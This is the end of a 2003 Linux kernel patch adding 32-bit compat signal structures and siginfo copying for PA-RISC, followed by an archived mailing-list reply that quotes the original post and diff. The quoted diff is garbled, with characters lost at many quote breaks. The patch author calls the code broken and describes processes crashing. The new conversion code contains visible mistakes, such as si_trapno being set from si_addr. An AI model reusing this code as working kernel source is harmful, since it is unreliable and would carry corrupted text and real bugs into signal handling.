+/* ELF32 view of si.band_t */
+#ifndef __ARCH_SI_COMPAT_BAND_T
+#define __ARCH_SI_COMPAT_BAND_T compat_int_t
+#endif
+
+#ifndef HAVE_ARCH_COMPAT_SIGINFO_T
+
+/* Compat (ELF32) view of siginfo_t */
+typedef struct compat_siginfo {
+	compat_int_t si_signo;
+	compat_int_t si_errno;
+	compat_int_t si_code;
+
+	union {
+		compat_int_t _pad[SI_COMPAT_PAD_SIZE];
+
+		/* kill() */
+		struct {
+			compat_pid_t _pid;	/* sender's pid */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+		} _kill;
+
+		/* POSIX.1b timers */
+		struct {
+			compat_timer_t _tid;	/* timer id */
+			compat_int_t _overrun;		/* overrun count */
+			char _pad[sizeof( __ARCH_SI_UID_T) - sizeof(int)];
+			compat_sigval_t _sigval;	/* same as below */
+			compat_int_t _sys_private;       /* not to be passed to user */
+		} _timer;
+
+		/* POSIX.1b signals */
+		struct {
+			compat_pid_t _pid;		/* sender's pid */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+			compat_sigval_t _sigval;
+		} _rt;
+
+		/* SIGCHLD */
+		struct {
+			compat_pid_t _pid;		/* which child */
+			__ARCH_SI_COMPAT_UID_T _uid;	/* sender's uid */
+			compat_int_t _status;		/* exit code */
+			compat_clock_t _utime;
+			compat_clock_t _stime;
+		} _sigchld;
+
+		/* SIGILL, SIGFPE, SIGSEGV, SIGBUS */
+		struct {
+			compat_uptr_t _addr; /* faulting insn/memory ref. */
+#ifdef __ARCH_SI_TRAPNO
+			compat_int_t _trapno;	/* TRAP # which caused the signal */
+#endif
+		} _sigfault;
+
+		/* SIGPOLL */
+		struct {
+			__ARCH_SI_COMPAT_BAND_T _band;	/* POLL_IN, POLL_OUT, POLL_MSG */
+			compat_int_t _fd;
+		} _sigpoll;
+	} _sifields;
+} compat_siginfo_t;
+#endif
+
+/*
+ * sigevent definitions
+ * 
+ * It seems likely that SIGEV_THREAD will have to be handled from 
+ * userspace, libpthread transmuting it to SIGEV_SIGNAL, which the
+ * thread manager then catches and does the appropriate nonsense.
+ * However, everything is written out here so as to not get lost.
+ */
+
+#define SIGEV_COMPAT_MAX_SIZE	64
+#ifndef SIGEV_COMPAT_PAD_SIZE
+#define SIGEV_COMPAT_PAD_SIZE	((SIGEV_COMPAT_MAX_SIZE/sizeof(int)) - 3)
+#endif
+
+#ifndef HAVE_ARCH_COMPAT_SIGEVENT_T
+
+/* ELF32 view of sigevent_t */
+typedef struct compat_sigevent {
+	compat_sigval_t sigev_value;
+	compat_int_t sigev_signo;
+	compat_int_t sigev_notify;
+	union {
+		compat_int_t _pad[SIGEV_COMPAT_PAD_SIZE];
+		compat_int_t _tid;
+
+		struct {
+			compat_uptr_t _function;
+			compat_uptr_t _attribute;	/* really pthread_attr_t */
+		} _sigev_thread;
+	} _sigev_un;
+} compat_sigevent_t;
+
+#endif
+
+#ifdef __KERNEL__
+
+struct compat_siginfo;
+/*void do_schedule_next_timer(struct siginfo *info);*/
+
+#ifndef HAVE_ARCH_COMPAT_COPY_SIGINFO
+
+#include <linux/string.h>
+
+static inline void compat_copy_siginfo(struct compat_siginfo *to, struct compat_siginfo *from)
+{
+	if (from->si_code < 0)
+		memcpy(to, from, sizeof(*to));
+	else
+		/* _sigchld is currently the largest know union member */
+		memcpy(to, from, __ARCH_SI_COMPAT_PREAMBLE_SIZE + sizeof(from->_sifields._sigchld));
+}
+
+#endif
+
+extern int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, struct siginfo *from);
+
+#endif /* __KERNEL__ */
+
+#endif
--- include/asm-generic/compat_signal.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ include/asm-generic/compat_signal.h	2003-12-02 23:01:44.000000000 -0500
@@ -0,0 +1,28 @@
+#ifndef _ASM_GENERIC_COMPAT_SIGNAL_H
+#define _ASM_GENERIC_COMPAT_SIGNAL_H
+
+# ifndef __ASSEMBLY__
+#  include <linux/types.h>
+
+typedef compat_uptr_t compat_sighandler_t;
+
+typedef struct compat_sigaltstack {
+	compat_uptr_t ss_sp;
+	compat_int_t ss_flags;
+	compat_size_t ss_size;
+} compat_stack_t;
+
+#  ifdef __KERNEL__
+
+/* Most things should be clean enough to redefine this at will, if care
+   is taken to make libc match.  */
+
+struct compat_sigaction {
+	compat_sighandler_t sa_handler;
+	compat_uint_t sa_flags;
+	compat_sigset_t sa_mask;		/* mask last for extensibility */
+};
+
+#  endif /* __KERNEL__ */
+# endif /* !__ASSEMBLY */
+#endif /* _ASM_GENERIC_COMPAT_SIGNAL_H */
--- include/asm-parisc/compat_rt_sigframe.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ include/asm-parisc/compat_rt_sigframe.h	2003-12-02 23:11:20.000000000 -0500
@@ -0,0 +1,25 @@
+#include<linux/compat.h>
+#include<asm/compat_siginfo.h>
+#include<asm/compat_ucontext.h>
+
+#ifndef _ASM_PARISC_COMPAT_RT_SIGFRAME_H
+#define _ASM_PARISC_COMPAT_RT_SIGFRAME_H
+
+struct compat_rt_sigframe {
+	compat_uint_t tramp[4];
+	compat_siginfo_t info;
+	struct compat_ucontext uc;
+};
+
+/*
+ * The 32-bit ABI wants at least 48 bytes for a function call frame:
+ * 16 bytes for arg0-arg3, and 32 bytes for magic (the only part of
+ * which Linux/parisc uses is sp-20 for the saved return pointer...)
+ * Then, the stack pointer must be rounded to a cache line (64 bytes).
+ */
+#define SIGFRAME32		64
+#define FUNCTIONCALLFRAME32	48
+#define PARISC_RT_SIGFRAME_SIZE32					\
+	(((sizeof(struct compat_rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
+
+#endif
--- include/asm-parisc/compat_siginfo.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ include/asm-parisc/compat_siginfo.h	2003-11-21 06:11:59.000000000 -0500
@@ -0,0 +1,2 @@
+/* We use the generic compat struct */
+#include <asm-generic/compat_siginfo.h>
--- include/asm-parisc/compat_signal.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ include/asm-parisc/compat_signal.h	2003-11-28 06:22:13.000000000 -0500
@@ -0,0 +1,2 @@
+/* Use generic */
+#include <asm-generic/compat_signal.h>
--- include/asm-parisc/compat_ucontext.h.orig	1969-12-31 19:00:00.000000000 -0500
+++ include/asm-parisc/compat_ucontext.h	2003-12-02 23:45:17.000000000 -0500
@@ -0,0 +1,19 @@
+#ifndef _ASM_PARISC_COMPAT_UCONTEXT_H
+#define _ASM_PARISC_COMPAT_UCONTEXT_H
+
+#include<linux/compat.h>
+#include<asm/compat_signal.h>
+
+/* ELF32 ucontext as seen from an ELF64 kernel */
+struct compat_ucontext {
+	compat_uint_t uc_flags;
+	compat_uptr_t uc_link;
+	compat_stack_t uc_stack;	/* struct compat_sigaltstack */
+	
+	compat_uint_t pad[1];		/*FIXME: ELF32 structure is padded */
+	
+	struct compat_sigcontext uc_mcontext;
+	compat_sigset_t uc_sigmask;	/* mask last for extensibility */
+};
+
+#endif /* !_ASM_PARISC_COMPAT_UCONTEXT_H */
--- kernel/compat_signal.c.orig	1969-12-31 19:00:00.000000000 -0500
+++ kernel/compat_signal.c	2003-12-02 23:18:13.000000000 -0500
@@ -0,0 +1,126 @@
+/*
+ *  Copyright (C) 2003 Carlos O'Donell
+ * 
+ *  2003-12-20  Carlos O'Donell
+ *              Copied linux/kernel/compat_signal.c (copy_siginfo_to_user)
+ *              and modified to use compat_siginfo_t for thunking down to
+ *              32-bit userspace with an ELF64 kernel.
+ *              
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or (at
+ * your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or
+ * NON INFRINGEMENT.  See the GNU General Public License for more
+ * details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ */
+
+/*#define __KERNEL_SYSCALLS__*/
+
+#include <asm/errno.h>
+#include <asm/compat_siginfo.h>
+#include <asm/uaccess.h>
+#include <asm/siginfo.h>
+
+#ifndef HAVE_ARCH_COMPAT_COPY_SIGINFO_TO_USER
+
+int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, siginfo_t *from)
+{
+	int err;
+	compat_siginfo_t compat_from;	
+
+	if (!access_ok (VERIFY_WRITE, to, sizeof(compat_siginfo_t)))
+		return -EFAULT;
+	
+	/*
+	 * If you change siginfo_t structure, please be sure
+	 * this code is fixed accordingly.
+	 * It should never copy any pad contained in the structure
+	 * to avoid security leaks, but must copy the generic
+	 * 3 ints plus the relevant union member.
+	 */
+
+	/* Convert structure, don't leak anything in the copy */
+	memset(&compat_from,'\0',sizeof(compat_siginfo_t));
+	compat_from.si_signo = (compat_int_t)(from->si_signo);
+	compat_from.si_errno = (compat_int_t)(from->si_errno);
+	compat_from.si_code = (compat_int_t)(from->si_code);
+	
+	if (from->si_code < 0)
+		return __copy_to_user(to, &compat_from, sizeof(compat_siginfo_t))
+			? -EFAULT : 0;
+	
+	err = __put_user(compat_from.si_signo, &to->si_signo);
+	err |= __put_user(compat_from.si_errno, &to->si_errno);
+	err |= __put_user(compat_from.si_code, &to->si_code);
+	
+	switch (from->si_code & __SI_MASK) {
+	case __SI_KILL:
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		break;
+	case __SI_TIMER:
+		compat_from.si_pid = (compat_timer_t)(from->si_tid);
+		compat_from.si_overrun = (compat_int_t)(from->si_overrun);
+		compat_from.si_ptr = (compat_uptr_t)((u64)(from->si_ptr) & 0xffffffffUL);
+		err |= __put_user(compat_from.si_tid, &to->si_tid);
+		err |= __put_user(compat_from.si_overrun, &to->si_overrun);
+		err |= __put_user(compat_from.si_ptr, &to->si_ptr);
+		break;
+	case __SI_POLL:
+		compat_from.si_band = (__ARCH_SI_COMPAT_BAND_T)(from->si_band);
+		compat_from.si_fd = (compat_int_t)(from->si_fd);
+		err |= __put_user(compat_from.si_band, &to->si_band);
+		err |= __put_user(compat_from.si_fd, &to->si_fd);
+		break;
+	case __SI_FAULT:
+		compat_from.si_addr = (compat_uptr_t)((u64)(from->si_addr) & 0xffffffffUL);
+		err |= __put_user(compat_from.si_addr, &to->si_addr);
+#ifdef __ARCH_SI_TRAPNO
+		compat_from.si_trapno = (compat_int_t)(from->si_addr);
+		err |= __put_user(compat_from.si_trapno, &to->si_trapno);
+#endif
+		break;
+	case __SI_CHLD:
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		compat_from.si_status = (compat_int_t)(from->si_status);
+		compat_from.si_utime = (compat_clock_t)(from->si_utime);
+		compat_from.si_stime = (compat_clock_t)(from->si_stime);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		err |= __put_user(compat_from.si_status, &to->si_status);
+		err |= __put_user(compat_from.si_utime, &to->si_utime);
+		err |= __put_user(compat_from.si_stime, &to->si_stime);
+		break;
+	case __SI_RT: /* This is not generated by the kernel as of now. */
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		compat_from.si_int = (compat_int_t)(from->si_int);
+		compat_from.si_ptr = (compat_uptr_t)((u64)(from->si_ptr) & 0xffffffffUL);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		err |= __put_user(compat_from.si_int, &to->si_int);
+		err |= __put_user(compat_from.si_ptr, &to->si_ptr);
+		break;
+	default: /* this is just in case for now ... */
+		compat_from.si_pid = (compat_pid_t)(from->si_pid);
+		compat_from.si_uid = (__ARCH_SI_COMPAT_UID_T)(from->si_uid);
+		err |= __put_user(compat_from.si_pid, &to->si_pid);
+		err |= __put_user(compat_from.si_uid, &to->si_uid);
+		break;
+	}
+	return err;
+}
+
+#endif



From - Thu Nov 08 21:30:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] [PATCH] ELF32 userspace, ELF64 kernel, and 32-bit signals on hppa. (help needed)
Date: Wed, 3 Dec 2003 09:29:01 +0100
Lines: 1461
Approved: news@gmane.org
Message-ID: <3FB25B960000CD11@ocpmta1.freegates.net>
References: <20031203072126.GB5828@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623015 2531 80.91.229.3 (22 Nov 2014 02:23:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:35 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  3 01:29:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70A804840
	for <parisc-linux@lists.parisc-linux.org>; Wed,  3 Dec 2003 01:29:05 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1ARSNa-0005GR-00; Wed, 03 Dec 2003 09:29:02 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 3 Dec 2003 09:29:01 +0100
In-Reply-To: <20031203072126.GB5828@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:20270

Hi Carlos,

Just a stupid question: against which kernel is it foreseen (I just try against
2.4.23-pa1 but failled; but may be I wrongly capture the patch)?

Thanks,
    Joel

>-- Original Message --
>From: Carlos O'Donell <carlos@baldric.uwo.ca>
>To: parisc-linux@lists.parisc-linux.org
>Date: Wed, 3 Dec 2003 02:21:26 -0500
>Subject: [parisc-linux] [PATCH] ELF32 userspace, ELF64 kernel, and 32-bit
>signals on hppa. (help needed)
>
>
>
parisc,

*** Help needed, code broken ...  ***

Currently our siginfo_t and ucontext_t structures delivered to an ELF32
userspace from an ELF64 kernel are not correct. The kernel thinking
userspace is the same bitwidth, writes it's registers an
> values as
64-bits. Architectures like sparc64 and ppc64 have rolled their own
solutions. I wanted to make it a little more generic.

jejb,

Thanks for the initial cleanup and poking me in the right direction!
I promised this out a little while 
>ack, but as a good hacker I'm up too
late to be thinking straight and get the patch out the door.

What does the patch do?
- Add siginfo_t generic compat structure and code to write it to
  userspace.
- Add generic compat signal structures.
- Ad
> generic kernel code to handle this structure.
- Add lots more PARISC compat structures.
- Add code in our signal path to distinguish the process personality and
  learn to setup/restore a 32-bit/64-bit rt frame structure.

There is a bug hiding i
> the code... I can't find it yet.
Userspace sorta works, but sometimes processes go splat, and I think it
has to do with the following:

- In restore_context32 I have to ship the 32-bit value into a 64-bit
  registers. Should it be sign extended?

>= I think yes.
- Is stack address 0xfffffffffaf00410 the same as 0x00000000faf00410?
= No?

What to do?

- Enable debugging in singal.c and signal32.c and keep looking for the
  bug :)

Cheers,
Carlos.

====
 arch/parisc/kernel/signal.c   
>         |  277 +++++++++++++++------------
 arch/parisc/kernel/signal32.c           |  156 +++++++++++++--
 arch/parisc/kernel/signal32.h           |   22 ++
 include/asm-generic/compat_siginfo.h    |  154 +++++++++++++++
 include/asm-generic/comp
>t_signal.h     |   28 ++
 include/asm-parisc/compat.h             |   10
 include/asm-parisc/compat_rt_sigframe.h |   25 ++
 include/asm-parisc/compat_siginfo.h     |    2
 include/asm-parisc/compat_signal.h      |    2
 include/asm-parisc/compat_
>context.h    |   19 +
 include/asm-parisc/rt_sigframe.h        |   13 -
 include/asm-parisc/siginfo.h            |    2
 include/asm-parisc/ucontext.h           |    8
 kernel/Makefile                         |    2
 kernel/compat_signal.c        
>         |  126 ++++++++++++
 kernel/signal.c                         |    8
 16 files changed, 709 insertions(+), 145 deletions(-)
====
--- arch/parisc/kernel/signal.c	9 Nov 2003 18:57:46 -0000	1.14
+++ arch/parisc/kernel/signal.c	3 Dec 2003 06:4
>:32 -0000
@@ -27,19 +27,25 @@
 #include <linux/compat.h>
 #include <linux/elf.h>
 #include <linux/personality.h>
+#include <linux/compat.h>
 #include <asm/ucontext.h>
 #include <asm/rt_sigframe.h>
 #include <asm/uaccess.h>
 #include <asm/pgall
>c.h>
 #include <asm/cacheflush.h>
+#include "signal32.h"
 
-#define DEBUG_SIG 0
+#define DEBUG_SIG 0 
+#define DEBUG_SIG_LEVEL 2
 
 #if DEBUG_SIG
-#define DBG(x)	printk x
+#define DBG(LEVEL, ...) \
+        ((DEBUG_SIG_LEVEL >= LEVEL) \
+	?
>printk(__VA_ARGS__) : (void) 0)
 #else
-#define DBG(x)
+#define DBG(LEVEL, ...)
 #endif
+	
 
 #define _BLOCKABLE (~(sigmask(SIGKILL) | sigmask(SIGSTOP)))
 
@@ -52,43 +58,6 @@
 
 int do_signal(sigset_t *oldset, struct pt_regs *regs, int in_sy
>call);
 
-int copy_siginfo_to_user(siginfo_t *to, siginfo_t *from)
-{
-	if (from->si_code < 0)
-		return __copy_to_user(to, from, sizeof(siginfo_t));
-	else {
-		int err;
-
-		/*
-		 * If you change siginfo_t structure, please be sure
-		 * 
>his code is fixed accordingly.  It should never
-		 * copy any pad contained in the structure to avoid
-		 * security leaks, but must copy the generic 3 ints
-		 * plus the relevant union member.
-		 */
-		err = __put_user(from->si_signo, &to->si_
>igno);
-		err |= __put_user(from->si_errno, &to->si_errno);
-		err |= __put_user((short)from->si_code, &to->si_code);
-		switch (from->si_code >> 16) {
-		      case __SI_FAULT >> 16:
-			/* FIXME: should we put the interruption code here? */
-		
>     case __SI_POLL >> 16:
-			err |= __put_user((unsigned long)from->si_addr, &to->si_addr);
-			break;
-		      case __SI_CHLD >> 16:
-			err |= __put_user(from->si_utime, &to->si_utime);
-			err |= __put_user(from->si_stime, &to->si_stime);
-	
>	err |= __put_user(from->si_status, &to->si_status);
-		      default:
-			err |= __put_user(from->si_uid, &to->si_uid);
-			err |= __put_user(from->si_pid, &to->si_pid);
-			break;
-		      /* case __SI_RT: This is not generated by the kernel as 
>f now.  */
-		}
-		return err;
-	}
-}
-
 /*
  * Atomically swap in the new signal mask, and wait for a signal.
  */
@@ -101,26 +70,27 @@ sys_rt_sigsuspend(sigset_t *unewset, siz
 {
 	sigset_t saveset, newset;
 #ifdef __LP64__
-	/* XXX FIXM
> -- assumes 32-bit user app! */
 	compat_sigset_t newset32;
 
-	/* XXX: Don't preclude handling different sized sigset_t's.  */
-	if (sigsetsize != sizeof(compat_sigset_t))
-		return -EINVAL;
-
-	if (copy_from_user(&newset32, (compat_sigset_t *)
>newset, sizeof(newset32)))
-		return -EFAULT;
-
-	newset.sig[0] = newset32.sig[0] | ((unsigned long)newset32.sig[1] << 32);
-#else
-
-	/* XXX: Don't preclude handling different sized sigset_t's.  */
-	if (sigsetsize != sizeof(sigset_t))
-		retu
>n -EINVAL;
-
-	if (copy_from_user(&newset, unewset, sizeof(newset)))
-		return -EFAULT;
+	if(personality(current->personality) == PER_LINUX32){
+		/* XXX: Don't preclude handling different sized sigset_t's.  */
+		if (sigsetsize != sizeof(compat_
>igset_t))
+			return -EINVAL;
+		if (copy_from_user(&newset32, (compat_sigset_t *)unewset, sizeof(newset32)))
+			return -EFAULT;
+		sigset_32to64(&newset,&newset32);
+		
+	} else 
 #endif
+	{
+		/* XXX: Don't preclude handling different sized
>sigset_t's.  */
+		if (sigsetsize != sizeof(sigset_t))
+			return -EINVAL;
+	
+		if (copy_from_user(&newset, unewset, sizeof(newset)))
+			return -EFAULT;
+	}
+
 	sigdelsetmask(&newset, ~_BLOCKABLE);
 
 	spin_lock_irq(&current->sighand->siglo
>k);
@@ -161,7 +131,9 @@ restore_sigcontext(struct sigcontext *sc
 	err |= __copy_from_user(regs->iaoq, sc->sc_iaoq, sizeof(regs->iaoq));
 	err |= __copy_from_user(regs->iasq, sc->sc_iasq, sizeof(regs->iasq));
 	err |= __get_user(regs->sar, &sc->sc_
>ar);
-	DBG(("restore_sigcontext: r28 is %ld\n", regs->gr[28]));
+	DBG(2,"restore_sigcontext: iaoq is 0x%#lx / 0x%#lx\n", 
+			regs->iaoq[0],regs->iaoq[1]);
+	DBG(2,"restore_sigcontext: r28 is %ld\n", regs->gr[28]);
 	return err;
 }
 
@@ -174,6 
>146,9 @@ sys_rt_sigreturn(struct pt_regs *regs, i
 	unsigned long usp = (regs->gr[30] & ~(0x01UL));
 	unsigned long sigframe_size = PARISC_RT_SIGFRAME_SIZE;
 #ifdef __LP64__
+	compat_sigset_t compat_set;
+	struct compat_rt_sigframe * compat_frame;
>
+	
 	if(personality(current->personality) == PER_LINUX32)
 		sigframe_size = PARISC_RT_SIGFRAME_SIZE32;
 #endif
@@ -182,11 +157,23 @@ sys_rt_sigreturn(struct pt_regs *regs, i
 	/* Unwind the user stack to get the rt_sigframe structure. */
 	fram
> = (struct rt_sigframe *)
 		(usp - sigframe_size);
-	DBG(("in sys_rt_sigreturn, frame is %p\n", frame));
-
-	if (__copy_from_user(&set, &frame->uc.uc_sigmask, sizeof(set)))
-		goto give_sigsegv;
+	DBG(2,"sys_rt_sigreturn: frame is %p\n", frame);
>
 
+#ifdef __LP64__
+	compat_frame = (struct compat_rt_sigframe *)frame;
+	
+	if(personality(current->personality) == PER_LINUX32){
+		DBG(2,"sys_rt_sigreturn: ELF32 process.\n");
+		if (__copy_from_user(&compat_set, &compat_frame->uc.uc_sigmask,
>sizeof(compat_set)))
+			goto give_sigsegv;
+		sigset_32to64(&set,&compat_set);
+	} else
+#endif
+	{
+		if (__copy_from_user(&set, &frame->uc.uc_sigmask, sizeof(set)))
+			goto give_sigsegv;
+	}
+		
 	sigdelsetmask(&set, ~_BLOCKABLE);
 	spin
>lock_irq(&current->sighand->siglock);
 	current->blocked = set;
@@ -194,17 +181,30 @@ sys_rt_sigreturn(struct pt_regs *regs, i
 	spin_unlock_irq(&current->sighand->siglock);
 
 	/* Good thing we saved the old gr[30], eh? */
-	if (restore_sigconte
>t(&frame->uc.uc_mcontext, regs))
-		goto give_sigsegv;
-
-	DBG(("usp: %#08lx stack %p", usp, &frame->uc.uc_stack));
+#ifdef __LP64__
+	if(personality(current->personality) == PER_LINUX32){
+		DBG(1,"sys_rt_sigreturn: compat_frame->uc.uc_mcontext 
>x%p\n",
+				&compat_frame->uc.uc_mcontext);
+		if (restore_sigcontext32(&compat_frame->uc.uc_mcontext, regs))
+			goto give_sigsegv;
+		DBG(1,"sys_rt_sigreturn: usp %#08lx stack 0x%p\n", 
+				usp, &compat_frame->uc.uc_stack);
+		if (do_sigaltst
>ck32(&compat_frame->uc.uc_stack, NULL, usp) == -EFAULT)
+			goto give_sigsegv;
+	} else
+#endif
+	{
+		DBG(1,"sys_rt_sigreturn: frame->uc.uc_mcontext 0x%p\n",
+				&frame->uc.uc_mcontext);
+		if (restore_sigcontext(&frame->uc.uc_mcontext, regs))
>
+			goto give_sigsegv;
+		DBG(1,"sys_rt_sigreturn: usp %#08lx stack 0x%p\n", 
+				usp, &frame->uc.uc_stack);
+		if (do_sigaltstack(&frame->uc.uc_stack, NULL, usp) == -EFAULT)
+			goto give_sigsegv;
+	}
+		
 
-	/* I don't know why everyone els
> assumes they can call this
-           with a pointer to a stack_t on the kernel stack.  That
-           makes no sense.  Anyway we'll do it like m68k, since we
-           also are using segmentation in the same way as them. */
-	if (do_sigaltst
>ck(&frame->uc.uc_stack, NULL, usp) == -EFAULT)
-		goto give_sigsegv;
 
 	/* If we are on the syscall path IAOQ will not be restored, and
 	 * if we are on the interrupt path we must not corrupt gr31.
@@ -212,14 +212,13 @@ sys_rt_sigreturn(struct p
>_regs *regs, i
 	if (in_syscall)
 		regs->gr[31] = regs->iaoq[0];
 #if DEBUG_SIG
-	DBG(("returning to %#lx\n", regs->iaoq[0]));
-	DBG(("in sys_rt_sigreturn:\n"));
+	DBG(1,"sys_rt_sigreturn: returning to %#lx, DUMPING REGS:\n", regs->iaoq[0]);
 	
>how_regs(regs);
 #endif
 	return;
 
 give_sigsegv:
-	DBG(("sys_rt_sigreturn sending SIGSEGV\n"));
+	DBG(1,"sys_rt_sigreturn: Sending SIGSEGV\n");
 	si.si_signo = SIGSEGV;
 	si.si_errno = 0;
 	si.si_code = SI_KERNEL;
@@ -237,9 +236,16 @@ give_
>igsegv:
 static inline void *
 get_sigframe(struct k_sigaction *ka, unsigned long sp, size_t frame_size)
 {
+	/*FIXME: ELF32 vs. ELF64 has different frame_size, but since we
+	  don't use the parameter it doesn't matter */
+
+	DBG(1,"get_sigfram
>: ka = %#lx, sp = %#lx, frame_size = %#lx\n",
+			(unsigned long)ka, sp, frame_size);
+	
 	if ((ka->sa.sa_flags & SA_ONSTACK) != 0 && ! on_sig_stack(sp))
 		sp = current->sas_ss_sp; /* Stacks grow up! */
 
+	DBG(1,"get_sigframe: Returning sp = %#
>x\n", (unsigned long)sp);
 	return (void *) sp; /* Stacks grow up.  Fun. */
 }
 
@@ -259,20 +265,20 @@ setup_sigcontext(struct sigcontext *sc, 
 		err |= __put_user(regs->gr[31]+4, &sc->sc_iaoq[1]);
 		err |= __put_user(regs->sr[3], &sc->sc_iasq[
>]);
 		err |= __put_user(regs->sr[3], &sc->sc_iasq[1]);
-		DBG(("setup_sigcontext: iaoq %#lx/%#lx\n",
-			regs->gr[31], regs->gr[31]));
+		DBG(1,"setup_sigcontext: iaoq %#lx / %#lx (in syscall)\n",
+			regs->gr[31], regs->gr[31]+4);
 	} else {
 
>	err |= __copy_to_user(sc->sc_iaoq, regs->iaoq, sizeof(regs->iaoq));
 		err |= __copy_to_user(sc->sc_iasq, regs->iasq, sizeof(regs->iasq));
-		DBG(("setup_sigcontext: iaoq %#lx/%#lx\n", 
-			regs->iaoq[0], regs->iaoq[1]));
+		DBG(1,"setup_sigcontex
>: iaoq %#lx / %#lx (not in syscall)\n", 
+			regs->iaoq[0], regs->iaoq[1]);
 	}
 
 	err |= __put_user(flags, &sc->sc_flags);
 	err |= __copy_to_user(sc->sc_gr, regs->gr, sizeof(regs->gr));
 	err |= __copy_to_user(sc->sc_fr, regs->fr, sizeof(regs-
>fr));
 	err |= __put_user(regs->sar, &sc->sc_sar);
-	DBG(("setup_sigcontext: r28 is %ld\n", regs->gr[28]));
+	DBG(1,"setup_sigcontext: r28 is %ld\n", regs->gr[28]);
 
 	return err;
 }
@@ -286,19 +292,53 @@ setup_rt_frame(int sig, struct k_sigact
>
 	unsigned long haddr, sigframe_size;
 	struct siginfo si;
 	int err = 0;
-
+#ifdef __LP64__
+	compat_int_t compat_val;
+	struct compat_rt_sigframe * compat_frame;
+	compat_sigset_t compat_set;
+#endif
+	
 	usp = (regs->gr[30] & ~(0x01UL));
>
+	/*FIXME: frame_size parameter is unused, remove it. */
 	frame = get_sigframe(ka, usp, sizeof(*frame));
 
-	DBG(("setup_rt_frame 1: frame %p info %p\n", frame, info));
+	DBG(1,"setup_rt_frame: frame %p info %p\n", frame, info);
 
-	err |= __co
>y_to_user(&frame->info, info, sizeof(siginfo_t));
-	err |= __put_user(current->sas_ss_sp, &frame->uc.uc_stack.ss_sp);
-	err |= __put_user(current->sas_ss_size, &frame->uc.uc_stack.ss_size);
-	err |= __put_user(sas_ss_flags(regs->gr[30]),
-			  &fra
>e->uc.uc_stack.ss_flags);
-	err |= setup_sigcontext(&frame->uc.uc_mcontext, regs, in_syscall);
-	err |= __copy_to_user(&frame->uc.uc_sigmask, set, sizeof(*set));
+	
+#ifdef __LP64__
+
+	compat_frame = (struct compat_rt_sigframe *)frame;
+	
+	if
>personality(current->personality) == PER_LINUX32) {
+		DBG(1,"setup_rt_frame: frame->info = 0x%p\n", &compat_frame->info);
+		err |= compat_copy_siginfo_to_user(&compat_frame->info, info);
+		compat_val = (compat_int_t)current->sas_ss_sp;
+		err |=
>__put_user(compat_val, &compat_frame->uc.uc_stack.ss_sp);
+		compat_val = (compat_int_t)current->sas_ss_size;
+		err |= __put_user(compat_val, &compat_frame->uc.uc_stack.ss_size);
